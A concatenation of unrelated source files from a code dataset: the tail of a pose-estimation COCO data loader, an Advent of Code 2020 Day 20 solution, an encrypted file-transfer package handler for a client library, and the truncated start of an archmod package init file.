('Head_top', 'Thorax', 'R_Shoulder', 'R_Elbow', 'R_Wrist', 'L_Shoulder', 'L_Elbow', 'L_Wrist', 'R_Hip', 'R_Knee', 'R_Ankle', 'L_Hip', 'L_Knee', 'L_Ankle', 'Pelvis', 'Spine', 'Head', 'R_Hand', 'L_Hand', 'R_Toe', 'L_Toe') # MuCo-3DHP\n self.original_joint_num = 17 # MuPoTS\n # self.original_joints_name = ('Head_top', 'Thorax', 'R_Shoulder', 'R_Elbow', 'R_Wrist', 'L_Shoulder', 'L_Elbow', 'L_Wrist', 'R_Hip', 'R_Knee', 'R_Ankle', 'L_Hip', 'L_Knee', 'L_Ankle', 'Pelvis', 'Spine', 'Head') # MuPoTS\n self.original_joints_name = ('Head', 'Thorax', 'R_Shoulder', 'R_Elbow', 'R_Wrist', 'L_Shoulder', 'L_Elbow', 'L_Wrist', 'R_Hip', 'R_Knee', 'R_Ankle', 'L_Hip', 'L_Knee', 'L_Ankle', 'Pelvis', 'Torso', 'Neck') # MuPoTS, unified\n self.flip_pairs = ( (2, 5), (3, 6), (4, 7), (8, 11), (9, 12), (10, 13) )\n self.skeleton = ( (0, 16), (16, 1), (1, 15), (15, 14), (14, 8), (14, 11), (8, 9), (9, 10), (11, 12), (12, 13), (1, 2), (2, 3), (3, 4), (1, 5), (5, 6), (6, 7) )\n self.eval_joint = (0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16)\n self.joints_have_depth = False\n self.data = self.load_data()\n\n def load_data(self):\n\n if self.data_split == 'train':\n db = COCO(self.train_annot_path)\n data = []\n for aid in tqdm(db.anns.keys(), 'COCO loading'):\n ann = db.anns[aid]\n if (ann['image_id'] not in db.imgs) or ann['iscrowd'] or (ann['num_keypoints'] == 0):\n continue\n\n # sanitize bboxes\n x, y, w, h = ann['bbox']\n img = db.loadImgs(ann['image_id'])[0]\n width, height = img['width'], img['height']\n x1 = np.max((0, x))\n y1 = np.max((0, y))\n x2 = np.min((width - 1, x1 + np.max((0, w - 1))))\n y2 = np.min((height - 1, y1 + np.max((0, h - 1))))\n if ann['area'] > 0 and x2 >= x1 and y2 >= y1:\n bbox = np.array([x1, y1, x2-x1, y2-y1])\n else:\n continue\n\n # aspect ratio preserving bbox\n w = bbox[2]\n h = bbox[3]\n c_x = bbox[0] + w/2.\n c_y = bbox[1] + h/2.\n aspect_ratio = self.opts.input_shape[1]/self.opts.input_shape[0]\n if w > aspect_ratio * h:\n h = w / aspect_ratio\n elif w < aspect_ratio * h:\n w = h * aspect_ratio\n bbox[2] = w*1.25\n bbox[3] = h*1.25\n bbox[0] = c_x - bbox[2]/2.\n bbox[1] = c_y - bbox[3]/2.\n\n # joints and vis\n joint_img = np.array(ann['keypoints']).reshape(-1,3)\n # add Thorax\n thorax = (joint_img[self.lshoulder_idx, :] + joint_img[self.rshoulder_idx, :]) * 0.5\n thorax[2] = joint_img[self.lshoulder_idx, 2] * joint_img[self.rshoulder_idx, 2]\n thorax = thorax.reshape((1, 3))\n # add Pelvis\n pelvis = (joint_img[self.lhip_idx, :] + joint_img[self.rhip_idx, :]) * 0.5\n pelvis[2] = joint_img[self.lhip_idx,2] * joint_img[self.rhip_idx,2]\n pelvis = pelvis.reshape((1, 3))\n\n joint_img = np.concatenate((joint_img, thorax, pelvis), axis=0)\n\n # joint_vis = (joint_img[:,2].copy().reshape(-1,1) > 0)\n joint_vis = (joint_img[:,2].copy().reshape(-1,1) > 0) * self.if_train\n joint_img[:,2] = 0\n\n imgname = osp.join('train2017', db.imgs[ann['image_id']]['file_name'])\n # img_path = osp.join(self.img_dir, imgname)\n img_path = str(Path(self.img_dir) / imgname)\n data.append({\n 'img_path': img_path,\n 'bbox': bbox,\n 'joint_img': joint_img, # [org_img_x, org_img_y, 0]\n 'joint_vis': joint_vis,\n 'f': np.array([1500, 1500]), \n 'c': np.array([width/2, height/2]) \n })\n\n elif self.data_split == 'test':\n db = COCO(self.test_annot_path)\n with open(self.human_3d_bbox_root_dir) as f:\n annot = json.load(f)\n data = [] \n for i in range(len(annot)):\n image_id = annot[i]['image_id']\n img = db.loadImgs(image_id)[0]\n img_path = osp.join(self.img_dir, 'val2017', img['file_name'])\n img_path = str(Path(img_path)) # win/linux path compatibility\n fx, fy, cx, cy = 1500, 1500, img['width']/2, img['height']/2\n f = np.array([fx, fy]); c = np.array([cx, cy]);\n root_cam = np.array(annot[i]['root_cam']).reshape(3)\n bbox = np.array(annot[i]['bbox']).reshape(4)\n\n data.append({\n 'img_path': img_path,\n 'bbox': bbox,\n 'joint_img': np.zeros((self.original_joint_num, 3)), # dummy\n 'joint_cam': np.zeros((self.original_joint_num, 3)), # dummy\n 'joint_vis': np.zeros((self.original_joint_num, 1)), # dummy\n 'root_cam': root_cam, # [X, Y, Z] in camera coordinate\n 'f': f,\n 'c': c,\n })\n\n else:\n print('Unknown data subset')\n assert 0\n\n\n return data\n\n def evaluate(self, preds, **kwargs): #\n # only save pred result, no metric, should work both way\n print('Evaluation start...')\n gts = self.data\n sample_num = len(preds)\n joint_num = self.original_joint_num\n\n result_dir = self.opts.rst_dir\n\n pred_2d_save = {}\n pred_3d_save = {}\n for n in tqdm(range(sample_num), desc='MSCOCO eval...'):\n \n gt = gts[n]\n f = gt['f']\n c = gt['c']\n bbox = gt['bbox']\n gt_3d_root = gt['root_cam']\n # img_name = gt['img_path'].split('/')\n img_name = Path(gt['img_path']).name\n # img_name = 'coco_' + img_name[-1].split('.')[0] # e.g., coco_00000000\n img_name = 'coco_' + img_name.split('.')[0] # e.g., coco_00000000\n\n # restore coordinates to original space\n pred_2d_kpt = preds[n].copy()\n # only consider eval_joint\n # pred_2d_kpt = np.take(pred_2d_kpt, self.eval_joint, axis=0) # for MuPoTS\n eval_joint = nameToIdx(self.original_joints_name, self.opts.ref_joints_name)\n pred_2d_kpt = np.take(pred_2d_kpt, eval_joint, axis=0)\n # pred_2d_kpt[:,0], pred_2d_kpt[:,1], pred_2d_kpt[:,2] = warp_coord_to_original(pred_2d_kpt, bbox, gt_3d_root)\n pred_2d_kpt[:,0], pred_2d_kpt[:,1], pred_2d_kpt[:,2] = warp_coord_to_ori(pred_2d_kpt, bbox, gt_3d_root, opts=self.opts, skel=self.opts.ref_skels_idx) # use use std\n\n # 2d kpt save\n if img_name in pred_2d_save: # add more key points if more people \n pred_2d_save[img_name].append(pred_2d_kpt[:,:2])\n else:\n pred_2d_save[img_name] = [pred_2d_kpt[:,:2]]\n\n vis = False\n if vis:\n cvimg = cv2.imread(gt['img_path'], cv2.IMREAD_COLOR | cv2.IMREAD_IGNORE_ORIENTATION)\n filename = str(random.randrange(1,500))\n tmpimg = cvimg.copy().astype(np.uint8)\n tmpkps = np.zeros((3,joint_num))\n tmpkps[0,:], tmpkps[1,:] = pred_2d_kpt[:,0], pred_2d_kpt[:,1]\n tmpkps[2,:] = 1\n tmpimg = vis_keypoints(tmpimg, tmpkps, self.skeleton)\n cv2.imwrite(filename + '_output.jpg', tmpimg)\n\n # back project to camera coordinate system\n pred_3d_kpt = np.zeros((joint_num,3))\n pred_3d_kpt[:,0], pred_3d_kpt[:,1], pred_3d_kpt[:,2] = pixel2cam(pred_2d_kpt, f, c)\n \n # 3d kpt save\n if img_name in pred_3d_save:\n pred_3d_save[img_name].append(pred_3d_kpt)\n else:\n pred_3d_save[img_name] = [pred_3d_kpt]\n \n output_path = osp.join(result_dir,'preds_2d_kpt_coco.mat')\n sio.savemat(output_path, pred_2d_save)\n print(\"Testing result is saved at \" + output_path)\n output_path = osp.join(result_dir,'preds_3d_kpt_coco.mat')\n sio.savemat(output_path, pred_3d_save)\n print(\"Testing result is saved at \" + output_path)\n\n return 1 #\n\n","repo_name":"ostadabbas/AdaptedHumanPose","sub_path":"data/MSCOCO/MSCOCO.py","file_name":"MSCOCO.py","file_ext":"py","file_size_in_byte":10974,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"67"} +{"seq_id":"20948363166","text":"\"\"\"\nDay 20\n\"\"\"\n\nimport time\nfrom copy import deepcopy\n\nimport numpy as np\nimport regex\n\n# directions = {\n# '-1,0': 'left',\n# '0,1': 'right',\n# '1,0': 'bottom',\n# '0,-1': 'top'\n# }\ndirections = {\n '0,-1': 'left',\n '0,1': 'right',\n '1,0': 'bottom',\n '-1,0': 'top'\n}\n\n\ndef remove_border(tile):\n new_tile = np.copy(tile)\n new_tile = new_tile[1:-1, 1:-1]\n return new_tile\n\n\ndef array_to_string(data):\n new = [''.join(list(data[r, :])) for r in range(data.shape[0])]\n return new\n\n\ndef match(current, new, direction=None):\n \"\"\"\n direction is for the current one\n current is the one we're on\n \"\"\"\n is_match = False\n if direction == 'bottom':\n if all(current[-1, :] == new[0, :]):\n is_match = True\n elif direction == 'top':\n if all(current[0, :] == new[-1, :]):\n is_match = True\n elif direction == 'left':\n if all(current[:, 0] == new[:, -1]):\n is_match = True\n elif direction == 'right':\n if all(current[:, -1] == new[:, 0]):\n is_match = True\n return is_match\n\n\npart1_time = time.time()\nwith open('input.txt', 'r') as f:\n lines = f.read().strip('\\n').split('\\n\\n')\n\ntiles = {}\nfor line in lines:\n tile_num = regex.search('Tile ([0-9]*)', line).group(1)\n tile_img = line.split(':')[1].strip('\\n').split('\\n')\n tile_img = [list(row) for row in tile_img]\n tiles[tile_num] = np.stack(tile_img, axis=0)\n\nnew_tiles = deepcopy(tiles)\n\nnum_tiles = len(tiles.keys())\nrow = col = int(np.sqrt(num_tiles))\n\n# part 1\nborders = {}\nfor key, val in tiles.items():\n # top, bottom, left, right\n borders[key] = [val[0, :], val[-1, :], val[:, 0], val[:, -1]]\n\nborder_matches = [0 for _ in borders.keys()]\nwhich_matches, which_inds = {}, {}\nfor i, (border_key, border_val) in enumerate(borders.items()):\n\n for key, val in borders.items():\n\n if key == border_key:\n continue\n\n for bval in border_val:\n m = []\n for b in val:\n if (bval == b).all():\n m.append(True)\n else:\n m.append(False)\n\n if (np.flip(bval) == b).all():\n m.append(True)\n else:\n m.append(False)\n\n if any(m):\n border_matches[i] += 1\n\n try:\n which_inds[border_key].append(m.index(True))\n which_matches[border_key].append(key)\n except KeyError:\n which_matches[border_key] = [key]\n which_inds[border_key] = [m.index(True)]\n# part 1\ncorners = []\nfor m, key in zip(border_matches, borders.keys()):\n if m == 2:\n corners.append(int(key))\nprint('Part 1:', np.prod(corners))\nprint(f'Runtime: {time.time() - part1_time:0.2f} s.')\n\n# part 2\npart2_time = time.time()\nprint('\\nStarting Part 2...')\nfull_tile_nums = np.zeros((row, col))\n\n# fill in the border\nprint('figuring out border tile numbers...')\nborder_tiles = [str(corners[0])]\nperimeter = 2 * row + 2 * col - 4\nwhile len(border_tiles) < perimeter:\n for tile, match_tiles in which_matches.items():\n\n if tile == border_tiles[-1]:\n continue\n if len(match_tiles) in [2, 3]:\n if border_tiles[-1] in match_tiles and tile not in border_tiles:\n border_tiles.append(tile)\n\nfull_tile_nums[0, :] = border_tiles[:col]\nfull_tile_nums[:, -1] = border_tiles[col - 1:col + row - 1]\nfull_tile_nums[-1, :] = list(reversed(border_tiles[col + row - 2:-(row - 2)]))\nfull_tile_nums[1:, 0] = list(reversed(border_tiles[-(row - 1):]))\n\n# figure out which borders dont match anything for corners\nouter_edges = {}\nfor corner in border_tiles:\n matches = [False for _ in range(len(borders[str(corner)]))]\n for i, corner_border in enumerate(borders[str(corner)]):\n for tile_match in which_matches[str(int(corner))]:\n for bval in borders[tile_match]:\n if (bval == corner_border).all():\n matches[i] = True\n elif (np.flip(bval) == corner_border).all():\n matches[i] = True\n outer_edges[corner] = np.where(np.array(matches) == False)[0]\n\nfor c in range(1, col - 1):\n # top row\n tile_key = str(int(full_tile_nums[0, c]))\n no_edge = outer_edges[tile_key][0]\n\n if no_edge == 1:\n new_tiles[tile_key] = np.flipud(new_tiles[tile_key])\n elif no_edge == 0:\n pass\n elif no_edge == 2:\n new_tiles[tile_key] = np.rot90(new_tiles[tile_key], 3)\n elif no_edge == 3:\n new_tiles[tile_key] = np.rot90(new_tiles[tile_key], 1)\n\n # bottom row\n tile_key = str(int(full_tile_nums[-1, c]))\n no_edge = outer_edges[tile_key][0]\n\n if no_edge == 1:\n pass\n elif no_edge == 0:\n new_tiles[tile_key] = np.flipud(new_tiles[tile_key])\n elif no_edge == 2:\n new_tiles[tile_key] = np.rot90(new_tiles[tile_key], 1)\n elif no_edge == 3:\n new_tiles[tile_key] = np.rot90(new_tiles[tile_key], 3)\n\nfor r in range(1, row - 1):\n # left row\n tile_key = str(int(full_tile_nums[r, 0]))\n no_edge = outer_edges[tile_key][0]\n\n if no_edge == 3:\n new_tiles[tile_key] = np.fliplr(new_tiles[tile_key])\n elif no_edge == 2:\n pass\n elif no_edge == 1:\n new_tiles[tile_key] = np.rot90(new_tiles[tile_key], 3)\n elif no_edge == 0:\n new_tiles[tile_key] = np.rot90(new_tiles[tile_key], 1)\n\n # right row\n tile_key = str(int(full_tile_nums[r, -1]))\n no_edge = outer_edges[tile_key][0]\n\n if no_edge == 2:\n new_tiles[tile_key] = np.fliplr(new_tiles[tile_key])\n elif no_edge == 3:\n pass\n elif no_edge == 1:\n new_tiles[tile_key] = np.rot90(new_tiles[tile_key], 1)\n elif no_edge == 0:\n new_tiles[tile_key] = np.rot90(new_tiles[tile_key], 3)\n\nprint('placing border tiles...')\n# set the corner orientations\n# for r, c in [[0, 0], [0, -1], [-1, -1], [-1, 0]]\nr, c = 0, 0\ntile_key = str(int(full_tile_nums[r, c]))\nno_edge = outer_edges[tile_key]\nif set(no_edge) == set([1, 2]):\n new_tiles[tile_key] = np.flipud(new_tiles[tile_key])\nelif set(no_edge) == set([1, 3]):\n new_tiles[tile_key] = np.rot90(new_tiles[tile_key], 2)\nelif set(no_edge) == set([0, 2]):\n pass\nelif set(no_edge) == set([0, 3]):\n new_tiles[tile_key] = np.fliplr(new_tiles[tile_key])\n\nr, c = 0, -1\ntile_key = str(int(full_tile_nums[r, c]))\nno_edge = outer_edges[tile_key]\nif set(no_edge) == set([1, 2]):\n new_tiles[tile_key] = np.rot90(new_tiles[tile_key], 2)\nelif set(no_edge) == set([1, 3]):\n new_tiles[tile_key] = np.flipud(new_tiles[tile_key])\nelif set(no_edge) == set([0, 2]):\n new_tiles[tile_key] = np.fliplr(new_tiles[tile_key])\nelif set(no_edge) == set([0, 3]):\n pass\n\nr, c = -1, -1\ntile_key = str(int(full_tile_nums[r, c]))\nno_edge = outer_edges[tile_key]\nif set(no_edge) == set([1, 2]):\n new_tiles[tile_key] = np.fliplr(new_tiles[tile_key])\nelif set(no_edge) == set([1, 3]):\n pass\nelif set(no_edge) == set([0, 2]):\n new_tiles[tile_key] = np.rot90(new_tiles[tile_key], 2)\nelif set(no_edge) == set([0, 3]):\n new_tiles[tile_key] = np.flipud(new_tiles[tile_key])\n\nr, c = -1, 0\ntile_key = str(int(full_tile_nums[r, c]))\nno_edge = outer_edges[tile_key]\nif set(no_edge) == set([1, 2]):\n pass\nelif set(no_edge) == set([1, 3]):\n new_tiles[tile_key] = np.fliplr(new_tiles[tile_key])\nelif set(no_edge) == set([0, 2]):\n new_tiles[tile_key] = np.flipud(new_tiles[tile_key])\nelif set(no_edge) == set([0, 3]):\n new_tiles[tile_key] = np.rot90(new_tiles[tile_key], 2)\n\n# go through possible orientations\nfull_img = [[None for _ in range(col)] for _ in range(row)]\ncorner_key = str(int(full_tile_nums[0, 0]))\nnext_key = str(int(full_tile_nums[0, 1]))\nif match(new_tiles[corner_key], new_tiles[next_key], direction='right'):\n full_img[0][0] = new_tiles[corner_key]\n full_img[0][1] = new_tiles[next_key]\nelif match(new_tiles[corner_key].T, new_tiles[next_key], direction='right'):\n full_img[0][0] = new_tiles[corner_key].T\n full_img[0][1] = new_tiles[next_key]\nelif match(new_tiles[corner_key].T, np.fliplr(new_tiles[next_key]),\n direction='right'):\n full_img[0][0] = new_tiles[corner_key].T\n full_img[0][1] = np.fliplr(new_tiles[next_key])\nelif match(new_tiles[corner_key], np.fliplr(new_tiles[next_key]),\n direction='right'):\n full_img[0][0] = new_tiles[corner_key]\n full_img[0][1] = np.fliplr(new_tiles[next_key])\n\nfor c in range(1, col - 1):\n # top row\n tile_key = str(int(full_tile_nums[0, c]))\n prev_tile = full_img[0][c - 1]\n if match(new_tiles[tile_key], prev_tile, direction='left'):\n full_img[0][c] = new_tiles[tile_key]\n elif match(np.fliplr(new_tiles[tile_key]), prev_tile, direction='left'):\n full_img[0][c] = np.fliplr(new_tiles[tile_key])\n\n# top right corner\ntile_key = str(int(full_tile_nums[0, -1]))\nprev_tile = full_img[0][-2]\nif match(new_tiles[tile_key], prev_tile, direction='left'):\n full_img[0][-1] = new_tiles[tile_key]\nelif match(np.rot90(new_tiles[tile_key], 2).T, prev_tile, direction='left'):\n full_img[0][-1] = np.rot90(new_tiles[tile_key], 2).T\n\nfor r in range(1, row - 1):\n # right row\n tile_key = str(int(full_tile_nums[r, -1]))\n prev_tile = full_img[r - 1][-1]\n if match(new_tiles[tile_key], prev_tile, direction='top'):\n full_img[r][-1] = new_tiles[tile_key]\n elif match(np.flipud(new_tiles[tile_key]), prev_tile, direction='top'):\n full_img[r][-1] = np.flipud(new_tiles[tile_key])\n\n# bottom right corner\ntile_key = str(int(full_tile_nums[-1, -1]))\nprev_tile = full_img[-2][-1]\nif match(new_tiles[tile_key], prev_tile, direction='top'):\n full_img[-1][-1] = new_tiles[tile_key]\nelif match(new_tiles[tile_key].T, prev_tile, direction='top'):\n full_img[-1][-1] = new_tiles[tile_key].T\n\nfor c in reversed(range(1, col - 1)):\n # bottom row\n tile_key = str(int(full_tile_nums[-1, c]))\n prev_tile = full_img[-1][c + 1]\n if match(new_tiles[tile_key], prev_tile, direction='right'):\n full_img[-1][c] = new_tiles[tile_key]\n elif match(np.fliplr(new_tiles[tile_key]), prev_tile, direction='right'):\n full_img[-1][c] = np.fliplr(new_tiles[tile_key])\n\n# bottom left corner\ntile_key = str(int(full_tile_nums[-1, 0]))\nprev_tile = full_img[-1][1]\nif match(new_tiles[tile_key], prev_tile, direction='right'):\n full_img[-1][0] = new_tiles[tile_key]\nelif match(np.rot90(new_tiles[tile_key], 2).T, prev_tile, direction='right'):\n full_img[-1][0] = np.rot90(new_tiles[tile_key], 2).T\n\nfor r in reversed(range(1, row - 1)):\n # left row\n tile_key = str(int(full_tile_nums[r, 0]))\n prev_tile = full_img[r + 1][0]\n if match(new_tiles[tile_key], prev_tile, direction='bottom'):\n full_img[r][0] = new_tiles[tile_key]\n elif match(np.flipud(new_tiles[tile_key]), prev_tile, direction='bottom'):\n full_img[r][0] = np.flipud(new_tiles[tile_key])\n\nprint('filling in the other tile numbers...')\n# fill in the other tile_nums\nwhile list(full_tile_nums.reshape((-1))).count(0) != 0:\n for (r, c) in zip(np.where(full_tile_nums == 0)[0],\n np.where(full_tile_nums == 0)[1]):\n\n for potential_tile, match_tiles in which_matches.items():\n\n if len(match_tiles) != 4:\n continue\n\n all_matches = []\n for key in directions.keys():\n\n dr, dc = [int(k) for k in key.split(',')]\n if 0 <= (r + dr) < row and 0 <= (c + dc) < col:\n if full_tile_nums[r + dr, c + dc] == 0:\n continue\n\n if str(int(full_tile_nums[r + dr, c + dc])) in \\\n which_matches[str(potential_tile)]:\n all_matches.append(True)\n else:\n all_matches.append(False)\n\n if all(all_matches) and len(all_matches) >= 2:\n\n if list(full_tile_nums.reshape((-1))).count(float(\n potential_tile)) == 0:\n full_tile_nums[r, c] = potential_tile\n break\n\nassert len(set(full_tile_nums.reshape((-1)))) == full_tile_nums.size\n\nprint('figuring out the orientation of the non-border tiles...')\n# figure out the orientation of the rest of the non-border tiles\nto_fill_idx = []\nfor r in range(row):\n for c in range(col):\n if full_img[r][c] is None:\n to_fill_idx.append([r, c])\n\nwhile len(to_fill_idx) != 0:\n for cur_index, (r, c) in enumerate(to_fill_idx):\n\n tile_key = str(int(full_tile_nums[r, c]))\n cur_tile = new_tiles[tile_key]\n\n is_match = False\n for key, dir in directions.items():\n\n dr, dc = [int(k) for k in key.split(',')]\n if 0 <= (r + dr) < row and 0 <= (c + dc) < col and \\\n full_img[r + dr][c + dc] is not None:\n\n prev_key = str(int(full_tile_nums[r + dr, c + dc]))\n prev_tile = full_img[r + dr][c + dc]\n\n for i in range(4):\n if match(np.rot90(cur_tile, i), prev_tile, direction=dir):\n is_match = True\n cur_tile = np.rot90(cur_tile, i)\n break\n\n elif match(np.rot90(cur_tile.T, i), prev_tile,\n direction=dir):\n is_match = True\n cur_tile = np.rot90(cur_tile.T, i)\n break\n\n if is_match:\n break\n\n if is_match:\n full_img[r][c] = cur_tile\n to_fill_idx.pop(cur_index)\n print('.', end='')\n\n# stitch together the image!\nprint('\\nstitching together the image...')\nfor r in range(row):\n for c in range(col):\n full_img[r][c] = remove_border(full_img[r][c])\n\nstacked_img = [np.concatenate(r, axis=-1) for r in full_img]\nstacked_img = np.concatenate(stacked_img, axis=0)\n\nprint('finding the sea monster!')\nsea_monster = \"\"\"\n # \n# ## ## ###\n # # # # # # \n\"\"\"\nsea_monster = sea_monster.strip('\\n').replace(' ', '.')\nsea_monster_row, sea_monster_col = 3, 20\nstack_row, stack_col = stacked_img.shape\nnum_monsters, count = 0, 0\n\nwhile num_monsters == 0:\n\n if count >= 4:\n copy_img = array_to_string(np.rot90(stacked_img, count))\n else:\n copy_img = array_to_string(np.rot90(stacked_img.T, count - 4))\n\n for r in range(stack_row):\n rstop = r + sea_monster_row\n if rstop > stack_row:\n break\n\n for c in range(stack_col):\n cstop = c + sea_monster_col\n if cstop > stack_col:\n break\n\n waters = '\\n'.join([line[c:cstop] for line in copy_img[r:rstop]])\n if regex.fullmatch(sea_monster, waters):\n num_monsters += 1\n new_waters = ''.join(['o' if sm == '#' else w for w, sm in zip(\n waters, sea_monster)])\n new_waters = new_waters.split('\\n')\n for j, w in enumerate(new_waters):\n this_line = list(copy_img[r + j])\n this_line[c:cstop] = w\n copy_img[r + j] = ''.join(this_line)\n count += 1\n\n# determine water roughness\nprint('Part 2:', sum(r.count('#') for r in copy_img))\nprint(f'Runtime: {time.time() - part2_time:0.2f} s.')\n","repo_name":"jessierliu/advent-of-code-2020","sub_path":"20/day20.py","file_name":"day20.py","file_ext":"py","file_size_in_byte":15384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72481704214","text":"# ----------------------------------------------------------------------------------------------------------------------\n# - Package Imports -\n# ----------------------------------------------------------------------------------------------------------------------\n# General Packages\nimport os.path\nimport zlib\nimport hashlib\nfrom Crypto.PublicKey.RSA import RsaKey\nimport json\nimport base64\nimport functools\nimport math\n\n\n# Custom Packages\nfrom .._Base_Classes import BASE_PackageHandler_File, BASE_Sol_File\nfrom .PackageHandler_Base import PackageHandler_Base\nfrom ..SOL_Encryption import *\n\n# ----------------------------------------------------------------------------------------------------------------------\n# - Code -\n# ----------------------------------------------------------------------------------------------------------------------\nclass PackageHandler_File(PackageHandler_Base,BASE_PackageHandler_File):\n # ------------------------------------------------------------------------------------------------------------------\n # - Handle file transformation in chunks -\n # ------------------------------------------------------------------------------------------------------------------\n def _file_package_handle_chunk(\n self,\n filepath_1:str,\n filepath_2:str,\n function_, # function to use\n file_handling_section:str\n ) -> None:\n file_size_1 = os.path.getsize(filepath_1)\n file_size_2 = os.path.getsize(filepath_1)\n buffer_size = self._buffer_size(file_size_1)\n total_chunks = math.ceil(file_size_1 / self._buffer_size(file_size_2))\n with open(filepath_1, \"rb\") as file_1, open(filepath_2, \"ab+\") as file_2:\n for _, chunk in enumerate(iter(functools.partial(file_1.read, buffer_size), b\"\")):\n file_2.write(function_(chunk))\n\n # ------------------------------------------------------------------------------------------------------------------\n # - Form parameters -\n # ------------------------------------------------------------------------------------------------------------------\n @staticmethod\n def file_package_parameters(\n session_key_encrypted: bytes = None,\n nonce: bytes = None,\n package_length: int = None,\n filename: str = None,\n hash_value: str = None\n ) -> bytes:\n return json.dumps({\n \"sske\": base64.b64encode(session_key_encrypted).decode(\n \"utf8\") if session_key_encrypted is not None else None,\n \"nonce\": base64.b64encode(nonce).decode(\"utf8\") if nonce is not None else None,\n \"len\": package_length if package_length is not None else None,\n \"file_name\": base64.b64encode(filename.encode(\"utf8\")).decode(\"utf8\") if filename is not None else None,\n \"hash_value\": base64.b64encode(hash_value.encode(\"utf8\")).decode(\n \"utf8\") if hash_value is not None else None,\n }).encode(\"utf8\")\n\n # ------------------------------------------------------------------------------------------------------------------\n # - FILE Packages outgoing -\n # ------------------------------------------------------------------------------------------------------------------\n def file_package_output(self, state: str, file_object: BASE_Sol_File, server_public_key: RsaKey) -> None:\n # Not needed in client as the client compresses the files before connecting to the API server\n # # compress the file, which also creates the hash value\n # file_object.compress_and_hash()\n\n # Encrypt File\n session_key_encrypted, nonce, cipher_aes = pp_cipher_aes_encryptor(server_public_key)\n self._file_package_handle_chunk(\n filepath_1=f\"temp/{file_object.filename_temp}\",\n filepath_2=f\"temp/{file_object.filename_transmission}\",\n function_=cipher_aes.encrypt,\n file_handling_section=\"ENCRYPTED\"\n )\n\n # assemble package parameters\n package_parameters = self.file_package_parameters(\n session_key_encrypted,\n nonce,\n os.path.getsize(f\"temp/{file_object.filename_transmission}\"),\n file_object.filename_transmission,\n file_object.hash_value\n )\n\n # Send parameters\n self.send_state(f\"PARAM\")\n self.wait_for_state(f\"READY\")\n self.connection.sendall(package_parameters)\n self.wait_for_state(f\"READY\")\n\n # send the file in chunks\n buffer_size = self._buffer_size(os.path.getsize(f\"temp/{file_object.filename_transmission}\"))\n file_size = os.path.getsize(f\"temp/{file_object.filename_transmission}\")\n total_chunks = math.ceil(file_size / self._buffer_size(file_size))\n with open(f\"temp/{file_object.filename_transmission}\", \"rb\") as file_final_:\n for _, chunk in enumerate(iter(functools.partial(file_final_.read, buffer_size), b\"\")):\n self.connection.send(chunk)\n del total_chunks, buffer_size, file_size\n\n # wait for ingestion to finish\n self.wait_for_state(f\"INGESTED\")\n\n # wait for file decompression and check to happen\n self.wait_for_state(f\"CHECKED\")\n\n # ------------------------------------------------------------------------------------------------------------------\n # - FILE Packages incoming -\n # ------------------------------------------------------------------------------------------------------------------\n def file_package_input(self, state: str, client_private_key: RsaKey) -> None:\n self.wait_for_state(f\"PARAM\")\n self.send_state(f\"READY\")\n try:\n package_param_dict = json.loads(self.connection.recv(1024).decode(\"utf_8\"))\n session_key_encrypted = base64.b64decode(package_param_dict[\"sske\"].encode(\"utf8\"))\n nonce = base64.b64decode(package_param_dict[\"nonce\"].encode(\"utf8\"))\n package_length = int(package_param_dict[\"len\"])\n file_name = base64.b64decode(package_param_dict[\"file_name\"].encode(\"utf8\")).decode(\"utf_8\")\n hash_value = base64.b64decode(package_param_dict[\"hash_value\"].encode(\"utf8\")).decode(\"utf_8\")\n file_path = f\"temp/{file_name}\"\n except KeyError:\n raise self.error(5401)\n\n self.send_state(f\"INGESTED\")\n\n # get the buffer size\n buffer_size = self._buffer_size(package_length)\n\n # Ingest the file\n total_size = 0\n with open(f\"{file_path}.temp\", \"ab+\") as temp_file:\n while os.path.getsize(f\"{file_path}.temp\") < package_length:\n chunk = self.connection.recv(buffer_size)\n temp_file.write(chunk)\n total_size += len(chunk)\n del total_size, chunk\n self.send_state(f\"INGESTED\")\n\n # Decrypt the package\n cipher_aes = pp_cipher_aes_decryptor(client_private_key, session_key_encrypted, nonce)\n self._file_package_handle_chunk(\n filepath_1=f\"{file_path}.temp\",\n filepath_2=f\"{file_path}.temp2\",\n function_=cipher_aes.decrypt,\n file_handling_section=\"DECRYPTED\"\n )\n\n # delete temp file\n os.remove(f\"{file_path}.temp\")\n\n # Decompress file\n decompressor = zlib.decompressobj()\n self._file_package_handle_chunk(\n filepath_1=f\"{file_path}.temp2\",\n filepath_2=file_path,\n function_=decompressor.decompress,\n file_handling_section=\"DECOMPRESSED\"\n )\n # delete temp file\n os.remove(f\"{file_path}.temp2\")\n\n # check hash_sum in chunks\n hash_sum = hashlib.sha256()\n\n file_size = os.path.getsize(f\"{file_path}\")\n total_chunks = math.ceil(file_size / self._buffer_size(file_size))\n with open(file_path, \"rb\") as file_final_:\n for _, chunk in enumerate(iter(functools.partial(file_final_.read, buffer_size), b\"\")):\n hash_sum.update(chunk)\n #todo QSignal to view progress\n del total_chunks\n\n if hash_sum.hexdigest() != hash_value:\n os.remove(f\"{file_path}\") # delete file if hash wasn't correct\n raise self.error(5402)\n\n # send correct state\n self.send_state(f\"CHECKED\")\n","repo_name":"geosjobby/S.O.L-Client-Package","sub_path":"src/SOL_Client_Connector/_SOL_PackageHandlers/PackageHandler_File.py","file_name":"PackageHandler_File.py","file_ext":"py","file_size_in_byte":8319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"27525954002","text":"__all__ = ['CHM', 'CHMServer', 'mod_chm']\n__version__ = '0.2.4'\n\nimport sys, os, pkg_resources\n\n# Return codes\nOK = 0\nERROR = 1\n\n# Global variables\nEXTRACT = 1 # Extract CHM content\nHTTPSERVER = 2 # Act as standalone HTTP server\nDUMPHTML = 3 # Dump CHM file as plain text\nCHM2TXT = 4 # Convert CHM file into Single Text file\nCHM2HTML = 5 # Convert CHM file into Single HTML file\nCHM2PDF = 6 # Convert CHM file into PDF Document\n#CHM2PS = 7 # Convert CHM file into PDF Document\n\n# Special characters\nCOMMASPACE = ', '\nLF = '\\n'\nCR = '\\r'\n\n# what config file to use - local or a system wide?\nuser_config = os.path.join(os.path.expanduser('~'), '.arch.conf')\nif os.path.exists(user_config):\n config = user_config\nelse:\n config = pkg_resources.resource_filename('archmod', 'arch.conf')\n\n# Miscellaneous auxiliary functions\ndef 